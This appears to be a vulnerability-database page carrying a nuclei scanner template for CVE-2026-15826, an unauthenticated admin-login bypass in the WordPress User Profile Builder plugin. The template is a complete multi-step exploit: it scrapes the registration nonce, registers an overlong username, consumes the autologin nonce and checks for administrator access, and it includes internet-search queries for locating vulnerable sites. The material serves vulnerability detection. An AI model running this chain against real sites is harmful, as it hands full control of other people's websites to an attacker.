Lucene search
+L

User Profile Builder 3.16.4 - Unauthenticated Authentication Bypass

🗓️ 20 Aug 2026 04:29:23Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 3 Views

User Profile Builder 3.16.4 type confusion in wp_insert_user handling allows unauthenticated admin login.

Related
Refs
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for CVE-2026-15748
18 Aug 202614:44
githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-15748
19 Aug 202614:49
githubexploit
githubexploit
GithubExploit
forminator-poc-lab
20 Aug 202616:49
githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-15748
17 Aug 202623:20
githubexploit
attackerkb
ATTACKERKB
CVE-2026-15748
18 Aug 202605:31
attackerkb
attackerkb
ATTACKERKB
CVE-2026-15826
15 Aug 202606:38
attackerkb
circl
Circl
CVE-2026-15748
17 Aug 202620:05
circl
circl
Circl
CVE-2026-15826
15 Aug 202604:04
circl
cve
CVE
CVE-2026-15748
18 Aug 202605:31
cve
cve
CVE
CVE-2026-15826
15 Aug 202606:38
cve
Rows per page
id: CVE-2026-15826

info:
  name: User Profile Builder 3.16.4 - Unauthenticated Authentication Bypass
  author: theamanrawat
  severity: critical
  description: |
    The User Profile Builder plugin for WordPress version 3.16.4 is vulnerable to an authentication bypass via type confusion. Profile Builder's automatic-login-after-registration handler passes the return value of wp_insert_user() through absint() before testing it with is_wp_error(), so the error check runs against the already-coerced integer. A registration submitted with a 61-70 character username passes the plugin's own validation but is rejected by WordPress core, because the user_login column is VARCHAR(60), and wp_insert_user() returns a WP_Error object. absint() coerces that object to the integer 1, is_wp_error(1) is false, and the plugin binds a transient-backed autologin nonce to user ID 1. Consuming that nonce calls wp_set_auth_cookie(1) and logs the unauthenticated attacker in as the site's Administrator.
  impact: |
    Unauthenticated attackers can log in as the site Administrator (user ID 1), gaining full administrative control including plugin and theme installation, PHP code execution, and complete site compromise.
  remediation: |
    Update User Profile Builder to 3.16.5 or later, which performs the is_wp_error() check before coercing the wp_insert_user() return value with absint() and additionally enforces the 60-character username limit server-side.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/9f606fba-f779-42ea-a160-6c3b20dc5e79
    - https://plugins.trac.wordpress.org/browser/profile-builder/tags/3.16.4/front-end/class-formbuilder.php#L262
    - https://plugins.trac.wordpress.org/browser/profile-builder/tags/3.16.4/features/functions.php#L1481
    - https://plugins.trac.wordpress.org/changeset/3609855/profile-builder
    - https://github.com/HORKimhab/CVE-2026-15826-CVE-2026-15748
    - https://nvd.nist.gov/vuln/detail/CVE-2026-15826
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-15826
    epss-score: 0.00805
    epss-percentile: 0.53931
    cwe-id: CWE-704
  metadata:
    verified: true
    max-request: 5
    vendor: cozmoslabs
    product: profile-builder
    framework: wordpress
    shodan-query: http.html:"/wp-content/plugins/profile-builder/"
    fofa-query: body="/wp-content/plugins/profile-builder/"
    publicwww-query: "/wp-content/plugins/profile-builder/"
  tags: cve,cve2026,wordpress,wp-plugin,wp,profile-builder,auth-bypass,unauth,intrusive,vkev

variables:
  username: "{{rand_base(63,'abcdefghijklmnopqrstuvwxyz')}}"
  email: "{{rand_base(10,'abcdefghijklmnopqrstuvwxyz')}}@{{rand_base(8,'abcdefghijklmnopqrstuvwxyz')}}.com"
  password: "{{rand_base(12,'abcdefghijklmnopqrstuvwxyz0123456789')}}Aa1!"

flow: http(1) && http(2) && http(3) && http(4) && http(5)

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/profile-builder/readme.txt"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "Profile Builder")'
          - 'compare_versions(pb_version, ">= 3.16.4", "< 3.16.5")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: pb_version
        part: body
        group: 1
        regex:
          - '(?i)Stable\s+tag:\s*([0-9.]+)'
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/register/"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "wppb-register-user")'
          - 'len(wppb_nonce) > 0'
          - 'len(form_name) > 0'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: form_name
        part: body
        group: 1
        regex:
          - 'name="form_name"[^>]*value="([^"]*)"'
        internal: true

      - type: regex
        name: wppb_nonce
        part: body
        group: 1
        regex:
          - 'name="register_[^"]*_nonce_field"[^>]*value="([^"]+)"'
        internal: true

  - raw:
      - |
        POST /register/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Referer: {{RootURL}}/register/
        Origin: {{RootURL}}

        username={{username}}&email={{email}}&passw1={{password}}&passw2={{password}}&action=register&form_name={{form_name}}&register_{{form_name}}_nonce_field={{wppb_nonce}}&register=Register&_wp_http_referer=%2Fregister%2F

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "autologin=true")'
          - 'len(autologin_nonce) > 0'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: autologin_nonce
        part: body
        group: 1
        regex:
          - 'autologin=true(?:&(?:#0?38|amp);)?_wpnonce=([a-f0-9]+)'
        internal: true

  - raw:
      - |
        GET /register/?autologin=true&_wpnonce={{autologin_nonce}} HTTP/1.1
        Host: {{Hostname}}

    redirects: false

    matchers:
      - type: dsl
        dsl:
          - 'contains(tolower(all_headers), "set-cookie: wordpress_logged_in_")'
        internal: true

  - raw:
      - |
        GET /wp-admin/options-general.php HTTP/1.1
        Host: {{Hostname}}

    redirects: false

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "name=\"blogname\"")'
          - 'contains(body, "name=\"siteurl\"")'
        condition: and
# digest: 490a00463044022067f3dd36b38eff32cdd6db05821f579d2fe6098e4b29742d166238d7201af2bf022026f11d588daab012fcc97c099b844e9931f67bba09da656401099b4271238db5:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

18 Aug 2026 11:40Current
5.7Medium risk
Vulners AI Score5.7
CVSS 3.19.8
EPSS0.01177
SSVC
3